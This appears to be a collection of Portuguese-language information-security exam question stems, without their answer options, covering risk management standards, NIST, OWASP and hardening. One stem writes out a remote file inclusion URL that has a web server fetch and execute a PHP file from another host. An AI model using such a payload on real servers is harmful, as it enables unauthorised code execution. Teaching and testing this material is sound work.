A norma complementar nº 04/IN01/DSIC/GSIPR descreve uma
abordagem sistemática do processo de gestão de riscos de
segurança da informação e comunicações, com o objetivo de
manter os riscos em níveis aceitáveis.
De acordo com essa sistemática, a etapa Aceitação do Risco
consiste em
O gerenciamento de incidentes de segurança em redes de
computadores realizado pelas Equipes de Tratamento e Resposta
a Incidentes de Segurança em Redes Computacionais (ETIR) dos
órgãos e entidades da administração pública federal é disciplinado
pela norma complementar 08/IN01/DSIC/GSIPR.
De acordo com essa norma, além do serviço de tratamento
de incidentes, a ETIR poderá oferecer à sua comunidade o
serviço de
Caso uma empresa, aplicando a NBR ISO 31000:2018, que trata de
gestão de riscos, esteja trabalhando no processo de compreensão
da natureza de riscos físicos e tecnológicos da empresa,
procurando considerar de forma detalhada, incertezas, fontes de
risco, consequências, cenários, controles e eficácia dos controles,
significa que está se trabalhando com o processo de
O NIST (National Institute of Standards and Technology)
Cybersecurity Framework (versão 1.1) é amplamente utilizado
como uma referência para fortalecer a segurança cibernética em
organizações.
Estruturado de forma a fornecer um guia adaptável para o
gerenciamento de riscos, as funções do componente principal do
framework, excluindo a camada de implementação e os perfis, são
A página web da sociedade empresária Exemplo1234, disponível
na internet, permite que internautas acessem o edital de uma vaga
de trabalho por meio do endereço eletrônico
http://empresa1234.com/vaga.php?file=vaga.pdf.
Durante a verificação de vulnerabilidades contratada por essa
empresa, foi observado que o servidor da página web da
Empresa1234 processava o valor fornecido no parâmetro file sem
realizar validação ou sanitização adequada.
Como resultado, foi possível incluir e executar no servidor o
conteúdo de um arquivo malicioso hospedado no endereço
http://testevulnerabilidade.com/badpage.php
O teste foi realizado utilizando o seguinte endereço:
http://empresa1234.com/vaga.php?file=http://testevulnerabilida
de.com/badpage.php
Ao acessar essa URL, o conteúdo do arquivo badpage.php foi
carregado e executado diretamente pelo servidor da
Empresa1234, comprometendo sua segurança.
O tipo de vulnerabilidade presente no servidor de página da
Empresa1234 é o
Aline é policial investigativa e recebeu uma denúncia sobre a
compra de registros de domínios de segundo nível. Ao buscar
informações, identificou uma prática na qual indivíduos
registravam vários domínios apenas para esperar vendê-los a
uma parte interessada a um preço muito mais alto.
Aline fez um estudo do caso e viu que os indivíduos que
executavam essa prática são conhecidos como:
No contexto de soluções para gerenciamento de contêineres e
virtualização, osoftware utilizado especificamente para análise de
vulnerabilidades de imagens de contêiner é o
Um servidor de páginas web, Ubuntu Server, publicou na internet
um portal de notícias com uma vulnerabilidade. Ela permite que
os clientes maliciosos deste servidor tenham acesso a sua
estrutura de arquivos e diretórios por meio da manipulação das
informações demandadas por uma variável PHP apresentada na
URL de acesso desta página web.
Assinale, entre as opções abaixo, aquela que apresenta o tipo de
vulnerabilidade presente nesta página web.
Segundo o documento OWASP Top 10 vulnerabilities de 2021, o
design inseguro é uma categoria ampla que representa diferentes
fraquezas que são expressas como "design de controle ausente ou
ineficaz". O documento destaca que há uma diferença entre design
inseguro e implementação insegura e distingue entre falhas de
design e defeitos de implementação, pois eles têm diferentes
causas e remediações. Um design seguro pode ter defeitos de
implementação que levam a vulnerabilidades que podem ser
exploradas. Um design inseguro não pode ser corrigido por uma
implementação segura, pois, por definição, os controles de
segurança necessários nunca foram criados para se defender
contra ataques específicos. Avalie se as formas de prevenção
contra o design inseguro expressas no OWASP, incluem:
I. Estabelecer e usar um ciclo de vida de desenvolvimento seguro
com profissionais de AppSec para ajudar a avaliar e projetar
controles relacionados à segurança e privacidade e
estabelecer e utilizar uma biblioteca de padrões de projeto
seguros.
II. Escrever testes unitários e de integração para validar se todos
os fluxos críticos são resistentes ao modelo de ameaça e
compilar casos de uso e casos de uso incorreto para cada
camada do aplicativo.
III. Unificar os controles de segurança em histórias de usuários e
restringir verificações de plausibilidade em cada camada do
seu aplicativo (do frontend ao backend) ao time de design e
limitar o consumo de recursos computacionais por usuário ou
serviço.
Karen é funcionária pública do Ministério Público da União (MPU)
e foi designada para determinar e implementar controles de
acordo com a Norma ABNT NBR ISO/IEC 27002:2022 para
tratamento de riscos de segurança da informação em um sistema
de gestão de segurança da informação (SGSI) do MPU, baseado
na ABNT NBR ISO/IEC 27001. Entretanto, para iniciar esse
processo, Karen precisará determinar, junto com a organização,
os requisitos de segurança necessários para atender a demanda
do MPU.
Para identificar esses requisitos, as principais fontes de
requisitos, segundo a Norma ABNT NBR ISO/IEC 27002:2022,
observadas por Karen, são:
Uma empresa de tecnologia estava planejando lançar um novo
serviço de transferência de arquivos em nuvem que envolvia o
processamento de dados altamente sensíveis de clientes. Durante
a fase de avaliação de segurança deste novo serviço, a equipe
identificou uma vulnerabilidade crítica inerente à arquitetura
proposta, que não poderia ser mitigada de forma eficaz com as
tecnologias atuais e representava um risco inaceitável de
vazamento de dados em larga escala. Diante disso, a diretoria
decidiu cancelar o desenvolvimento e o lançamento desse serviço
específico.
Com base no relato, assinale a opção que identifica corretamente
a estratégia de tratamento de risco adotada pela diretoria dessa
empresa de tecnologia.
O Guia de Aperfeiçoamento da Segurança Cibernética para
Infraestrutura Crítica publicado pelo NIST provê uma orientação
geral para a melhoria da governança de segurança cibernética
para organizações que compõem a rede de infraestruturas
críticas do país, como geração e distribuição de energia,
distribuição de água entre outras.
Esse Guia estabelece níveis de implementação da estrutura de
gestão da segurança cibernética, criando uma contextualização
geral de como determinada organização trata o risco de
segurança cibernética e os seus processos atualmente instalados
para o gerenciamento desse risco.
Nesse contexto, é correto afirmar que
Durante uma auditoria de segurança de uma rede corporativa, foi
descoberto que alguns servidores apresentavam vulnerabilidades
significativas. Entre os problemas identificados foram
relacionados vazamentos de senhas, diversas aplicações com
falta de atualizações críticas e contas de ex-funcionários ainda
ativas com permissões administrativas.
Com base nessa situação hipotética, considerando os problemas
encontrados e as boas práticas de hardening, as seguintes
combinações de medidas de segurança são as mais apropriadas
para proteger esses servidores e mitigar essas vulnerabilidades: